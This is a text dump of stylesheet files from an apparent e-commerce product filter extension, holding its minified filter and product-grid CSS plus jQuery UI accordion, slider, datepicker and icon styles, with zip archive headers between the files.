.addtocart-bar{overflow:hidden}.ja-products-wrapper .product-item
.product-item-actions .addtocart-bar
.quantity-input{border-radius:0;-webkit-box-shadow:none;box-shadow:none;display:block;float:left;height:36px;max-width:50px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar
.quantity-controls{display:inline-block;margin-right:10px;margin-left:2px;overflow:hidden;width:17px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input{background-color:#eeeeee;background-image:url(../images/quantity-bg.png);background-repeat:no-repeat;border:1px
solid
#ddd;border-radius:0;height:17px;float:left;margin:0;width:17px;-webkit-appearance:none}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input.quantity-plus{background-position:left
bottom;margin-bottom:2px}.ja-products-wrapper .product-item
.product-item-actions .addtocart-bar .quantity-controls
input.quantity-minus{background-position:-15px -15px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input:hover{border-color:#333}.ja-products-wrapper .product-item
.addtocart-button{float:right}.ja-products-wrapper .product-item
.addtocart-button
.btn{background-color:#2196f3;border:0;border-radius:3px;color:#fff;font-weight:600;font-size:13px;letter-spacing:0.5px;padding:10px
15px;text-transform:uppercase}.ja-products-wrapper .product-item
.addtocart-button .btn:active,.ja-products-wrapper .product-item
.addtocart-button .btn:focus,.ja-products-wrapper .product-item
.addtocart-button
.btn:hover{background-color:#0d8aee}.ja-products-wrapper.list
.list.product-items{-ms-grid-columns:(1fr)[1];grid-template-columns:repeat(1,
1fr)}.ja-products-wrapper.list .list
.product-item{margin-bottom:0}.ja-products-wrapper.list .list
.product-item:last-child
.product-item-info{border-bottom:0;padding-bottom:0}.ja-products-wrapper.list
.list .product-item .product-item-info{border:0;border-bottom:1px solid
#ddd;padding-left:calc(var(--ja-mf-spacing) *
23);padding-right:0;position:relative;overflow:hidden;min-height:200px}.ja-products-wrapper.list
.list .product-item
.product-item-info:hover{-webkit-box-shadow:none;box-shadow:none}.ja-products-wrapper.list
.list .product-item
.product-item-info.no-image{padding-left:0}.ja-products-wrapper.list .list
.product-item .product-item-info
.product-item-details{overflow:hidden}.ja-products-wrapper.list .list
.product-item .product-item-info
.thumb{position:absolute;left:0;top:20px}.ja-products-wrapper.list .list
.product-item .product-item-info
.product-item-photo{background-color:#fff;margin-bottom:0;padding:0}.ja-products-wrapper.list
.list .product-item .product-item-info .product-item-photo
img{max-width:calc(var(--ja-mf-spacing) * 20)}.ja-products-wrapper.list
.list .product-item .product-item-info
.product-item-actions{float:left}.ja-products-wrapper
.cols-1.product-items{-ms-grid-columns:(1fr)[1];grid-template-columns:repeat(1,
1fr)}@media (min-width:768px){.ja-products-wrapper
.cols-2.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-3.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-3.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-4.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-4.product-items{-ms-grid-columns:(1fr)[4];grid-template-columns:repeat(4,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[5];grid-template-columns:repeat(5,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-6.product-items{-ms-grid-columns:(1fr)[6];grid-template-columns:repeat(6,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-7.product-items{-ms-grid-columns:(1fr)[7];grid-template-columns:repeat(7,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-8.product-items{-ms-grid-columns:(1fr)[8];grid-template-columns:repeat(8,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-9.product-items{-ms-grid-columns:(1fr)[9];grid-template-columns:repeat(9,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-10.product-items{-ms-grid-columns:(1fr)[10];grid-template-columns:repeat(10,
1fr)}}.ja-products-wrapper
.product-item-details{background:none;padding:0;border:0;float:none;display:block;min-width:0;border-radius:0;font-size:14px;line-height:1.7142}.ja-products-wrapper
.product-item-details:hover{color:inherit;background:none}.ja-products-wrapper
.product-item-photo{display:block;border-bottom:0;margin-bottom:20px}.ja-products-wrapper
.product-item-photo
.product-image-container{display:block;position:relative;overflow:hidden;text-align:center}.ja-products-wrapper
.product-item-photo
.product_label{position:absolute;top:0;right:0}.ja-products-wrapper
.product-item-actions{margin-top:20px;overflow:hidden}.ja-products-wrapper
.addtocart-bar{text-align:left}.ja-products-wrapper
.product-reviews-summary .rating-summary,.ja-products-wrapper
.product-reviews-summary
.reviews-actions{display:inline-block}.ja-products-wrapper
.product-reviews-summary{margin-bottom:10px}.ja-products-wrapper
.product-reviews-summary
.rating-summary{line-height:1;padding-top:5px;padding-bottom:5px}.ja-products-wrapper
.product-reviews-summary
.rating-summary>span{margin-right:5px}.filter-items
.rating-result,.ja-products-wrapper
.rating-result{background:url("../images/color-stars.png")
repeat-x 0
bottom;text-align:left;height:12px;width:60px;display:inline-block;position:relative}.filter-items
.rating-result span,.ja-products-wrapper .rating-result
span{background:url("../images/color-stars.png") repeat-x 0
0;height:12px;position:absolute;left:0}.filter-items
.rating-result{margin:3px 3px 0 3px;top:1px}.ja-products-wrapper
.stock.unavailable{color:red}.ja-products-wrapper
.stock.available{color:green}div.toolbar-bottom{border-top:1px solid
#ddd;padding-top:20px}div.toolbar-bottom
span{height:auto}.ja-filter-wrapper
.filter-content{background-color:#eeeeee;padding:20px}.ja-filter-wrapper
.filter-content .selected-filters
ol{list-style:none;padding-left:0;padding-right:0}.ja-filter-wrapper
.filter-content .selected-filters ol li.item{padding:5px}.ja-filter-wrapper
.filter-content .selected-filters ol li.item
label{font-weight:400}.ja-filter-wrapper .filter-content .selected-filters
ol li.item .filter-label{opacity:0.6}.ja-filter-wrapper .filter-content
.selected-filters ol li.item .filter-value
.img-selected{border-radius:2px;max-width:40px}.ja-filter-wrapper
.filter-content .block-subtitle{border-bottom:1px solid
#d7d7d7;font-size:15px;font-weight:600;letter-spacing:0.5px;margin:0 0
20px;padding:0 0 10px;text-transform:uppercase}.ja-filter-wrapper
.filter-content input[type=checkbox],.ja-filter-wrapper .filter-content
input[type=radio]{margin-top:0;margin-right:3px;margin-left:3px;margin-bottom:3px;vertical-align:middle}.ja-filter-wrapper
.filter-content
.input-text{border-radius:0;-webkit-box-shadow:none;box-shadow:none;width:100%}.ja-filter-wrapper
.filter-content .input-text.jafrom,.ja-filter-wrapper .filter-content
.input-text.jato{padding-right:15px}.ja-filter-wrapper .filter-content
.filter-items{-webkit-box-shadow:none;box-shadow:none;border-radius:0;width:100%}.ja-filter-wrapper
.filter-content .filter-items
.item.lv-2{background:url(../images/tree-bg.png) no-repeat 0px
center;padding-left:20px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-3{background:url(../images/tree-bg.png) no-repeat 20px
center;padding-left:40px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-4{background:url(../images/tree-bg.png) no-repeat 40px
center;padding-left:60px}.ja-filter-wrapper .filter-content .filter-items
.item.lv-5{background:url(../images/tree-bg.png) no-repeat 60px
center;padding-left:80px}.ja-filter-wrapper .filter-content
.filter-options-title{margin-bottom:13.33333333px}.ja-filter-wrapper
.filter-content .filter-options-title
span{background-color:#e1e1e1;border-radius:2px;display:inline-block;font-size:12px;letter-spacing:1px;padding:5px
10px 5px 28px;position:relative;text-transform:uppercase}.ja-filter-wrapper
.filter-content .filter-options-title
span:hover{cursor:pointer}.ja-filter-wrapper .filter-content
.filter-options-title span:hover:after{color:#616161}.ja-filter-wrapper
.filter-content .filter-options-title
span:after{content:"\f146";color:#9e9e9e;display:block;font-family:FontAwesome;font-size:14px;position:absolute;top:5px;left:8px}.ja-filter-wrapper
.filter-content .filter-options-title.collapsed
span:after{content:"\f0fe"}.ja-filter-wrapper .filter-content
.filter-range
.filter-options-content{padding-left:0;padding-right:20px}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content
label{font-weight:normal}.ja-filter-wrapper .filter-content .filter-range
.filter-options-content
.ui-widget-content{background:none}.ja-filter-wrapper .filter-content
.filter-range .filter-options-content
.ui-slider-horizontal{background-color:#2196f3;border-radius:0;border:0;height:6px;margin-left:0;margin-right:0;width:100%}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content .ui-slider-horizontal
.ui-slider-range{background-color:#9e9e9e;border:0;border-radius:0;height:6px}.ja-filter-wrapper
.filter-content .filter-range .filter-options-content .ui-slider-horizontal
.ui-slider-handle{background:#fff;border:1px solid
#bdbdbd;border-radius:50%;-webkit-box-shadow:0 0 3px rgba(0, 0, 0,
0.2);box-shadow:0 0 3px rgba(0, 0, 0,
0.2);height:14px;margin-left:0;margin-right:0;width:14px}.ja-filter-wrapper
.filter-content .filter-items li{padding:3px 0}.ja-filter-wrapper
.filter-content .filter-items
li:first-child{padding-top:0}.ja-filter-wrapper .filter-content
.filter-items label{margin-bottom:0;font-weight:normal}.ja-filter-wrapper
.filter-content
.color-item{float:left;margin:2px;padding:0!important}.ja-filter-wrapper
.filter-content .color-item span.color-item-bg{border:1px solid rgba(0, 0,
0,
0.1);border-radius:2px;display:block;position:relative;min-height:28px;line-height:28px;min-width:28px;text-align:center;-webkit-transition:all
0.35s;-o-transition:all 0.35s;transition:all 0.35s}.ja-filter-wrapper
.filter-content .color-item span.color-item-bg:hover{border:1px solid
rgba(0, 0, 0, 0.3);cursor:pointer;opacity:0.8}.ja-filter-wrapper
.filter-content .color-item
span.color-item-bg.color-active:before{background:#fff;border:1px solid
rgba(0, 0, 0,
0.2);border-radius:50%;display:block;content:"";height:10px;position:absolute;top:8px;left:8px;width:10px}.ja-filter-wrapper
.filter-content .filter-items
.media-item{padding:5px!important;float:left;width:25%}.ja-filter-wrapper
.filter-content .filter-items .media-item img{border:1px solid
#ddd;border-radius:2px;max-width:100%}.ja-filter-wrapper .filter-content
.filter-items .media-item img.media-active{border:1px solid
#096}.ja-filter-wrapper .filter-content
.filter-field+.filter-field{margin-top:20px}.ja-filter-wrapper
.filter-options-title{margin-bottom:10px}.ja-filter-wrapper .filter-range
.filter-options-content{padding:0 0.6em}.ja-filter-wrapper
.range-value{margin-top:10px}.ja-filter-wrapper
.range-max{float:right}.ja-filter-wrapper ol,.ja-filter-wrapper
ul{padding-left:20px;margin-left:0}.ja-filter-wrapper
dd{margin-left:0}.ja-filter-wrapper input[type=text],.ja-filter-wrapper
select{max-width:100%;min-height:28px}.ja-filter-wrapper
ul.filter-items{padding-left:0;list-style:none;overflow:hidden}.ja-filter-wrapper
ol.items .clear-filter .filter-label{margin-right:5px}.ja-filter-wrapper
ol.items li.item{border-radius:2px;padding:2px 5px}.ja-filter-wrapper
ol.items li.item:hover{background-color:#fff}.ja-filter-wrapper ol.items
.clear-filter.remove{position:relative;padding-right:20px;display:block;margin-bottom:0}.ja-filter-wrapper
ol.items
.clear-filter.remove:after{content:"\f1f8";font-family:FontAwesome;position:absolute;right:5px;top:0;cursor:pointer;color:#999;-webkit-transition:all
0.35s;-o-transition:all 0.35s;transition:all 0.35s}.ja-filter-wrapper
ol.items .clear-filter.remove:hover:after{color:#096}.ja-filter-wrapper
.filter-actions{text-align:right}.ui-widget-header
a{border-bottom:0}.ui-datepicker .ui-datepicker-title
select{display:inline-block;border-width:1px}.ui-datepicker
.ui-datepicker-title
select+select{margin-left:5px}.ja-megafilter-wrap.jshopping
.product-item-actions{overflow:hidden}.ja-megafilter-wrap.jshopping
.product-item-actions
.addtocart-area{float:left}.ja-megafilter-wrap.jshopping
.product-item-actions
.view-detail{float:right}.ja-megafilter-wrap.jshopping
.product-item-actions .view-detail .btn-default{border:1px solid
transparent;border-radius:3px;font-size:13px;font-weight:500;text-transform:uppercase;padding:9px
10px}.ja-megafilter-wrap.jshopping .product-item-actions .view-detail
.btn-default:active,.ja-megafilter-wrap.jshopping .product-item-actions
.view-detail .btn-default:focus,.ja-megafilter-wrap.jshopping
.product-item-actions .view-detail
.btn-default:hover{background:transparent;border-color:#bdbdbd}.chosen-container-single
.chosen-single>span,.chzn-container-single
.chzn-single>span{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.chosen-container-single
.chosen-single>span>span,.chzn-container-single
.chzn-single>span>span{margin-right:6px;display:inline-block}[dir=rtl]
.ja-filter-wrapper .filter-actions{margin-bottom:20px}[dir=rtl]
.ja-filter-wrapper ol.items
.clear-filter.remove{padding-left:20px;padding-right:0}[dir=rtl]
.ja-filter-wrapper ol.items
.clear-filter.remove:after{right:auto;left:5px}[dir=rtl] .products-toolbar
.toolbar-sorter{float:right}[dir=rtl] .ja-filter-wrapper .filter-content
.filter-items{padding-right:0}[dir=rtl] .ja-filter-wrapper .filter-content
.filter-items .item.lv-2{background:url(../images/tree-rtl-bg.png)
no-repeat right center;padding-right:20px;padding-left:0}[dir=rtl]
.ja-filter-wrapper .filter-content .filter-items
.item.lv-3{background:url(../images/tree-rtl-lv2-bg.png) no-repeat right
center;padding-right:40px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .filter-items
.item.lv-4{background:url(../images/tree-rtl-lv3-bg.png) no-repeat right
center;padding-right:60px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .filter-items
.item.lv-5{background:url(../images/tree-rtl-lv4-bg.png) no-repeat right
center;padding-right:80px;padding-left:0}[dir=rtl] .ja-filter-wrapper
.filter-content .color-item{float:right}@media (min-width:769px) and
(max-width:1024px){.ja-megafilter-wrap.docman .product-item-actions
.btn{margin-bottom:10px;margin-left:0!important;width:100%}}.jamega-row-flex{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-box-flex:1;-ms-flex:1
1 auto;flex:1 1
auto;overflow:hidden}.jamega-row-flex>*,.jamega-row-flex>div[class*=col-]{margin:0
-0.3px}@media
(max-width:768px){.ja-megafilter-wrap{position:relative}.ja-megafilter-wrap
.ja-mg-sidebar{height:50px;overflow:hidden;width:100%}.ja-megafilter-wrap
.ja-mg-sidebar.open{height:auto}.ja-megafilter-wrap .ja-mg-sidebar.open
.filter-open{display:none}.ja-megafilter-wrap .ja-mg-sidebar.open
.filter-close{display:inline-block}.ja-megafilter-wrap .ja-mg-sidebar
.filter-close{display:none}.ja-megafilter-wrap .ja-mg-sidebar
.sidebar-toggle{background-color:#9e9e9e;color:#fff;display:block;height:50px;font-weight:500;line-height:50px;letter-spacing:1px;text-align:center;text-transform:uppercase;width:100%}.ja-megafilter-wrap
.ja-mg-sidebar
.sidebar-toggle:hover{background-color:#2196f3;cursor:pointer;text-decoration:none}.ja-megafilter-wrap
.ja-mg-sidebar .sidebar-toggle
i{margin-right:5px;vertical-align:middle}.ja-megafilter-wrap
.main-content{width:100%}.ja-megafilter-wrap .main-content
.ja-products-wrapper
.product-item:nth-child(3n+1){clear:none!important}.ja-megafilter-wrap
.main-content .ja-products-wrapper
.product-item:nth-child(odd){clear:left!important}}@media
(max-width:480px){.ja-megafilter-wrap .main-content
.product-item{width:100%}}.ja-products-wrapper.products-list
.product-item-details .row.thumb
.col-md-12{position:initial}.rating-0{display:
none;}PK�v�[��!!"assets/css/jquery.ui.accordion.cssnu�[���/*
Overlays */
.ui-widget-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.ui-accordion .ui-accordion-header {
display: block;
cursor: pointer;
position: relative;
margin-top: 2px;
padding: .5em .5em .5em .7em;
min-height: 0; /* support: IE7 */
}
.ui-accordion .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-noicons {
padding-left: .7em;
}
.ui-accordion .ui-accordion-icons .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-header .ui-accordion-header-icon {
position: absolute;
left: .5em;
top: 50%;
margin-top: -8px;
}
.ui-accordion .ui-accordion-content {
padding: 1em;
/*border: none;*/
overflow: auto;
}PK�v�[hd1Q1Qassets/css/jquery.ui.cssnu�[���/*
Component containers
----------------------------------*/
.ui-widget {
font-family: Verdana,Arial,sans-serif;
font-size: 1.1em;
}
.ui-widget .ui-widget {
font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
font-family: Verdana,Arial,sans-serif;
font-size: 1em;
}
.ui-widget-content {
border: 1px solid #aaaaaa;
background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50%
repeat-x;
color: #222222;
}
.ui-widget-content a {
color: #222222;
}
.ui-widget-header {
border: 1px solid #aaaaaa;
background: #cccccc
url(images/ui-bg_highlight-soft_75_cccccc_1x100.png) 50% 50% repeat-x;
color: #222222;
font-weight: bold;
}
.ui-widget-header a {
color: #222222;
}
/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default {
border: 1px solid #d3d3d3;
background: #e6e6e6 url(images/ui-bg_glass_75_e6e6e6_1x400.png) 50% 50%
repeat-x;
font-weight: normal;
color: #555555;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited {
color: #555555;
text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus {
border: 1px solid #999999;
background: #dadada url(images/ui-bg_glass_75_dadada_1x400.png) 50% 50%
repeat-x;
font-weight: normal;
color: #212121;
cursor:pointer;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited {
color: #212121;
text-decoration: none;
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active {
border: 1px solid #aaaaaa;
background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50%
repeat-x;
font-weight: normal;
color: #212121;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
color: #212121;
text-decoration: none;
}
/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
border: 1px solid #fcefa1;
background: #fbf9ee url(images/ui-bg_glass_55_fbf9ee_1x400.png) 50% 50%
repeat-x;
color: #363636;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
color: #363636;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
border: 1px solid #cd0a0a;
background: #fef1ec url(images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50%
repeat-x;
color: #cd0a0a;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
color: #cd0a0a;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
color: #cd0a0a;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
opacity: .7;
filter:Alpha(Opacity=70);
font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
opacity: .35;
filter:Alpha(Opacity=35);
background-image: none;
}
.ui-state-disabled .ui-icon {
filter:Alpha(Opacity=35); /* For IE8 - See #6059 */
}
/*Slider*/
.ui-slider {
position: relative;
text-align: left;
}
.ui-slider .ui-slider-handle {
position: absolute;
z-index: 2;
width: 1.2em;
height: 1.2em;
cursor: default;
}
.ui-slider .ui-slider-range {
position: absolute;
z-index: 1;
font-size: .7em;
display: block;
border: 0;
background-position: 0 0;
}
/* For IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
filter: inherit;
}
.ui-slider-horizontal {
height: .8em;
margin-left: 9px;
margin-right: 9px;
}
.ui-slider-horizontal .ui-slider-handle {
top: -.3em;
margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
top: 0;
height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
right: 0;
}
.ui-slider-vertical {
width: .8em;
height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
left: -.3em;
margin-left: 0;
margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
left: 0;
width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
top: 0;
}
/* Accorditon */
.ui-widget-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.ui-accordion .ui-accordion-header {
display: block;
cursor: pointer;
position: relative;
margin-top: 2px;
padding: .5em .5em .5em .7em;
min-height: 0; /* support: IE7 */
}
.ui-accordion .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-noicons {
padding-left: .7em;
}
.ui-accordion .ui-accordion-icons .ui-accordion-icons {
padding-left: 2.2em;
}
.ui-accordion .ui-accordion-header .ui-accordion-header-icon {
position: absolute;
left: .5em;
top: 50%;
margin-top: -8px;
}
.ui-accordion .ui-accordion-content {
padding: 1em;
border-top: none;
overflow: auto;
}
.ui-accordion .ui-accordion-content ul {
margin: 0;
}
/* Date Picker */
.ui-datepicker {
width: 17em;
padding: .2em .2em 0;
display: none;
}
.ui-datepicker .ui-datepicker-header {
position: relative;
padding: .2em 0;
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
position: absolute;
top: 2px;
width: 1.8em;
height: 1.8em;
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
top: 1px;
}
.ui-datepicker .ui-datepicker-prev {
left: 2px;
}
.ui-datepicker .ui-datepicker-next {
right: 2px;
}
.ui-datepicker .ui-datepicker-prev-hover {
left: 1px;
}
.ui-datepicker .ui-datepicker-next-hover {
right: 1px;
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
display: block;
position: absolute;
left: 50%;
margin-left: -8px;
top: 50%;
margin-top: -8px;
}
.ui-datepicker .ui-datepicker-title {
margin: 0 2.3em;
line-height: 1.8em;
text-align: center;
}
.ui-datepicker .ui-datepicker-title select {
font-size: 1em;
margin: 1px 0;
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
width: 45%;
}
.ui-datepicker table {
width: 100%;
font-size: .9em;
border-collapse: collapse;
margin: 0 0 .4em;
}
.ui-datepicker th {
padding: .7em .3em;
text-align: center;
font-weight: bold;
border: 0;
}
.ui-datepicker td {
border: 0;
padding: 1px;
}
.ui-datepicker td span,
.ui-datepicker td a {
display: block;
padding: .2em;
text-align: right;
text-decoration: none;
}
.ui-datepicker .ui-datepicker-buttonpane {
background-image: none;
margin: .7em 0 0 0;
padding: 0 .2em;
border-left: 0;
border-right: 0;
border-bottom: 0;
}
.ui-datepicker .ui-datepicker-buttonpane button {
float: right;
margin: .5em .2em .4em;
cursor: pointer;
padding: .2em .6em .3em .6em;
width: auto;
overflow: visible;
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
float: left;
}
/* with multiple calendars */
.ui-datepicker.ui-datepicker-multi {
width: auto;
}
.ui-datepicker-multi .ui-datepicker-group {
float: left;
}
.ui-datepicker-multi .ui-datepicker-group table {
width: 95%;
margin: 0 auto .4em;
}
.ui-datepicker-multi-2 .ui-datepicker-group {
width: 50%;
}
.ui-datepicker-multi-3 .ui-datepicker-group {
width: 33.3%;
}
.ui-datepicker-multi-4 .ui-datepicker-group {
width: 25%;
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
border-left-width: 0;
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
clear: left;
}
.ui-datepicker-row-break {
clear: both;
width: 100%;
font-size: 0;
}
/* RTL support */
.ui-datepicker-rtl {
direction: rtl;
}
.ui-datepicker-rtl .ui-datepicker-prev {
right: 2px;
left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next {
left: 2px;
right: auto;
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
right: 1px;
left: auto;
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
left: 1px;
right: auto;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
clear: right;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
float: left;
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
float: right;
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
border-right-width: 0;
border-left-width: 1px;
}
/* Icons */
.ui-datepicker .ui-icon {
display: block;
text-indent: -99999px;
overflow: hidden;
background-repeat: no-repeat;
left: .5em;
top: .3em;
}
/* Icons
----------------------------------*/
/* states and images */
.ui-icon {
width: 16px;
height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
background-image:
url("../images/ui-icons_444444_256x240.png");
}
.ui-widget-header .ui-icon {
background-image:
url("../images/ui-icons_444444_256x240.png");
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon,
.ui-button:hover .ui-icon,
.ui-button:focus .ui-icon {
background-image:
url("../images/ui-icons_555555_256x240.png");
}
.ui-state-active .ui-icon,
.ui-button:active .ui-icon {
background-image:
url("../images/ui-icons_ffffff_256x240.png");
}
.ui-state-highlight .ui-icon,
.ui-button .ui-state-highlight.ui-icon {
background-image:
url("../images/ui-icons_777620_256x240.png");
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
background-image:
url("../images/ui-icons_cc0000_256x240.png");
}
.ui-button .ui-icon {
background-image:
url("../images/ui-icons_777777_256x240.png");
}
/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
